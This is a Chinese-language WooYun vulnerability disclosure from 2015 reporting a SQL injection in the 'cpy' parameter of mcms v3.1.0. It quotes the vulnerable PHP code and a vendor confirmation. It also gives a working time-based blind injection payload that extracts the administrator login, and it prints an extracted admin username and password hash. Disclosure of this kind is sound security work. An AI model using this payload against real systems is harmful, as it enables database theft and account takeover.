当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096708

漏洞标题:mcms最新版SQL注入一枚

相关厂商:mcms.cc

漏洞作者: 路人甲

提交时间:2015-02-11 19:07

修复时间:2015-05-14 10:34

公开时间:2015-05-14 10:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-11: 细节已通知厂商并且等待厂商处理中
2015-02-13: 厂商已经确认,细节仅向厂商公开
2015-02-16: 细节向第三方安全合作伙伴开放
2015-04-09: 细节向核心白帽子及相关领域专家公开
2015-04-19: 细节向普通白帽子公开
2015-04-29: 细节向实习白帽子公开
2015-05-14: 细节向公众公开

简要描述:

mcms最新版SQL注入一枚

详细说明:

在wooyun上看到掌易科技终于不再忽略漏洞了,我也来凑凑热闹吧。去下了mcms的最新版(v_3.1.0.enterprise),来研究研究。
注入一枚:GET /app/cms/list.php?m=list&cid=1&cpy=payload 我们看看是如何注入的。
看看代码/app/cms/list.php

require_once(dirname(__FILE__) . "/../../init.php"); //公用引导启动文件
$time_start = H :: getmicrotime(); //开始时间
// 动作处理
call_mfunc();
$cid=isset($_GET['cid'])?intval($_GET['cid']):0;
$cpy=isset($_GET['cpy'])?trim($_GET['cpy']):'';
if($cpy!=''){
$sql="select cate_id from ".TB_PRE."category where cname_py='$cpy' limit 1";
$rs=$dbm->query($sql);
if(count($rs['list']) == 0) H::error_show ('{"code":1,"msg":"分类不存在"}');
$cid=$rs['list'][0]['cate_id'];
}


看到上面的$cpy并没有经过sqlxss的过滤,所以可以轻松注入
Payload:GET提交

GET /app/cms/list.php?m=list&cid=1&cpy='/**/or(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))%23


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟1s左右,如下图

猜测失败副本.jpg


若正确,延迟12s左右(与数据库中的内容相关,利用时可以减少延迟时间),如下图

猜测成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

sqlxss()

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-02-13 10:32

厂商回复:

属实

最新状态:

暂无